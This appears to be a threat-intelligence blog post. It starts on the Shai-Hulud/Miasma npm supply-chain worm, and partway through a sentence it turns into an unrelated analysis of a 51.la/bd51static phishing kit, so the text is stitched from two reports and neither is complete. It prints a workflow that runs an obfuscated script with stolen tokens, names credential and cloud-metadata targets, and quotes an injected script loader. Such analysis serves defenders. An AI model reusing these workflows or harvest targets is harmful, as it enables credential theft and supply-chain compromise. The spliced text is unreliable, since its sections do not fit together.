Riding the Sandworm

Deep Specter Research — Wed, 17 Jun 2026 08:34:27 GMT

Actor: TeamPCP (~UNC6780) · two strains, evolving · npm + GitHub · static-only methodology · TLP:AMBER

1. What you are hunting

Shai-Hulud (a.k.a. Miasma / “The Second Coming”), actor TeamPCP (~UNC6780), is a self-propagating supply-chain worm. It executes on a developer machine, harvests every credential it can reach, and re-uses those credentials to (1) publish poisoned package versions, (2) inject an obfuscated dropper into source repositories, and (3) stage stolen secrets in throw-away “dead-drop” repos. It exists in two strains that are actively evolving — treat it as a family, not a fixed IOC set:

“classic” Shai-Hulud (worker) — a throw-away repo running an obfuscated script via a GitHub Actions workflow. Loud: persona author “THE ASSET”, real timestamps, no identity forgery.
Miasma (injection) — an oversized .github/setup.js committed into an existing repo using a stolen maintainer token. Stealthy: the commit impersonates a real maintainer and is back-dated years to hide in history.

The single most useful fact for a hunter: the commit author / e-mail / date are attacker-controlled (the “author-pusher gap”). NEVER sequence or scope by commit date. Anchor on the server-side push time and on what cannot be forged a GPG signature, a file’s size, a workflow’s contents.

2. The adversary’s actions, in detail

2.1 The loop

Infection closes a loop on every newly-compromised machine: EXECUTE (auto-run on install or editor/CI trigger) → HARVEST (env vars, ~/.npmrc, cloud metadata 169.254.169.254, git/npm tokens) → PUBLISH / INJECT / STAGE. Auto-run is wired through npm pre/postinstall hooks, package.json scripts, agent/editor triggers (.claude/.gemini SessionStart, .cursor rules, .vscode folderOpen) and GitHub Actions workflows.

2.2 Two dropper strains

The size gap matters operationally: a detector tuned to “~5 MB” misses the ~685 KB worker entirely.

2.3 The worker delivery (classic)

A throw-away repo is created and an obfuscated script (any name/extension JS or Python) is committed to root or a dotdir, plus a workflow that runs it (static read never run):

# .github/workflows/run.yml

on: workflow_dispatch

jobs: { run: { runs-on: ubuntu-latest, permissions: { issues: write },

  steps:

   - uses: actions/checkout@v6

   - uses: oven-sh/setup-bun@v2

   - env: { GITHUB_TOKEN2: ${{ secrets.PATS }} }

     run: bun run index.js } }

Signature: oven-sh/setup-bun + bun run ”) document.write(””) var _hmt = _hmt || []; (function() { var hm = document.createElement(”script”); hm.src = “[.]baidu[.]com/hm.js?9449080f1fd9d69519fb3ef29e931160”; var s = document.getElementsByTagName(”script”)[0]; s.parentNode.insertBefore(hm, s); })();

There are some variants:

with/without Baidu _hmt function
with/without “skip execution” condition and probably different domain in this condition
different id and ck values

All such files URL have similar pattern:

[.]com/<2 low case letters>.js

We are not sure why “skip execution” exists and what is so special about this domain: gushibisai[.]cn

Here some of the scripts we detected (”now” - means this month, “first_time_seen” is approximation based on the earliest sighting we were able to find):

As You can see we are missing scripts that start with 1, 3 and have additional 000-starting script (a typo?).

We can also see in the data that some scripts changed their content completely over the time.

bd51static[.]com/8ad.js content:

November 3rd 2021, 4:23:11 pm UTC:

document.write (’’);
document.write (’’);

July 23rd 2022, 6:54:30 am UTC:

document.write(””)

document.write(””)

Please not that 2021 sighting also included call js[.]users[.]51[.]la subdomain from HTML — related to malicious activity.

We were able to identify more than 7 generations for some scripts.

LA_COLLECT block initialized twice and this is not an error. This fits the facts. Each block can be used by different content: one is for “Gambling”-cloak and another one for “Cloned”-cloak.

All scripts that still active (“now” in “last_time_seen” column) initialized first pair with:

id: Kbu0ae6HwHakHTZk
ck: Kbu0ae6HwHakHTZk

We assume that this pair is for “Gambling”-cloak content which is similar for all hosts using bd51static[.]com now. This can be also treated as fingerprint for this Phishing SDK version.

Second pair is a campaign or Threat Actor related. Giving us 15 currently active users or campaigns of this SDK version.

What are “id” and “ck”?

id (within LA.init({})): This parameter is your site ID or tracking ID provided by 51[.]la when you register your website with their service. It uniquely identifies your website to 51[.]la, allowing them to collect and display analytics data specifically for your site. Think of it as your unique account number for that particular website in their system.
ck (within LA.init({})): This parameter often refers to a checksum or a secret key that is also provided by 51[.]la. It acts as a form of authentication or verification, ensuring that the tracking requests originate from your registered site and are legitimate. In many cases, you’ll see the id and ck values being the same, suggesting that the ck might be a redundancy or a simple copy of the id for certain configurations, or it might be used for internal validation by 51[.]la’s system.

If our assumption is correct, it means, Threat Actors that using this SDK are sharing the collected data with SDK owners, and this is also the reason to hide the unique account ID from one-request scanners.

Baidu HM ID “9449080f1fd9d69519fb3ef29e931160” — is the site ID or tracking ID for the specific website property. Given that this is present almost on all bd51static[.]com scripts — this is SDK Owners tracking ID. Meaning, SDK Owners have account at Baidu Analytics with this ID.

There is also very interesting claims about Baidu part of the code — here.

There are Public Researches that too similar, for example:

“Phishing and Cryptocurrencies : Uncovering the infrastructure of a network of scams” by Alb310 (20 August 2024).
“Mac Users Targeted by Trojanized iTerm2 App” by Steven Du, Luis Magisa (September 30, 2021)
“Master of Puppets: Uncovering the DoppelGänger pro-Russian influence campaign” by Sekoia TDR, Coline Chavane, Amaury G. and Kilian Seznec (May 21 2024)

By just taking the LA.init values from the first one, where copied websites were used for phishing and included 51[.]la analytics, we were able to find one of the currently existing hosts described in this Research, and given the similarity between hosts to find more of them using Censys.io:

Simple script extracted all LA.init unique values from these hosts:

LA.init({id:”3HGOkyQbi3b9rfq5”,ck:”3HGOkyQbi3b9rfq5”}) - 1 host on TERAEXCH (Singapore)
LA.init({id:”3IzaGTMUSK1viRpW”,ck:”3IzaGTMUSK1viRpW”}) - 90 hosts on  ANTBOX1-AS-AP Antbox Networks Limited (Selangor, Malaysia)
LA.init({id:”3LJDNLffG8eqfbSb”,ck:”3LJDNLffG8eqfbSb”}) - 7 hosts on TERAEXCH (Singapore)
LA.init({id:”3LJDKRjdlIcWwUe3”,ck:”3LJDKRjdlIcWwUe3”}) - 12 hosts on TERAEXCH (Singapore)
LA.init({id:”3LmcTcV6dXnzzQ36”,ck:”3LmcTcV6dXnzzQ36”}) - 4 hosts on  ANTBOX1-AS-AP Antbox Networks Limited (Islands, Hong Kong), 4 hosts on VMISS (Hong Kong)
LA.init({id:”3MCEqmfZqNWenj44”,ck:”3MCEqmfZqNWenj44”}) - 10 hosts on TERAEXCH (Singapore)

So, we can assume that there 6 clear blocks of these hosts (different campaigns or Threat Actors).

NEBULA hosted hosts do not use LA.init explicitly.

On ZoomEye.ai historical view:

This is very indicate reason why more advanced Phishing SDK MUST hide it’s 51[.]la configuration to avoid being easily fingerprinted.

The second story shows copy very similar to what we observed:

From the third Research, we can see that la-sante[.]info domain listed there:

Now resolves to 34[.]92[.]126[.]136 and looks like this (yes, it is part of the Phishing Empire now):

Showing aotearoaleaks[.]org domain SSL certificate with content of ako.ac.nz “Ako Aotearoa”.

Last, but the best is automatic analysis of communication to one of the domains in the Phishing Empire, done by AlienVault.

It tells the “under-the-hood” story of communication to jienan[.]net domain.

First references to it we can find, talks about fake Amazon Japan phishing page — here on November 22, 2021 (still not part of Phishing empire). VirusTotal confirms:

This is how it looks now:

Showing clone of www.pcworld.com magazine.

Let’s us show just some of capabilities of this SDK:

What is interesting even more is that in “encrypted_ioc” chapter it lists encrypted communication to following addresses:

super-ec[.]cn
wghai[.]com
qsyou[.]com

Quick search using all 3 addresses, led us to this report by SonicWall:

Deep Specter Research: Technical Cyber Research

Riding the Sandworm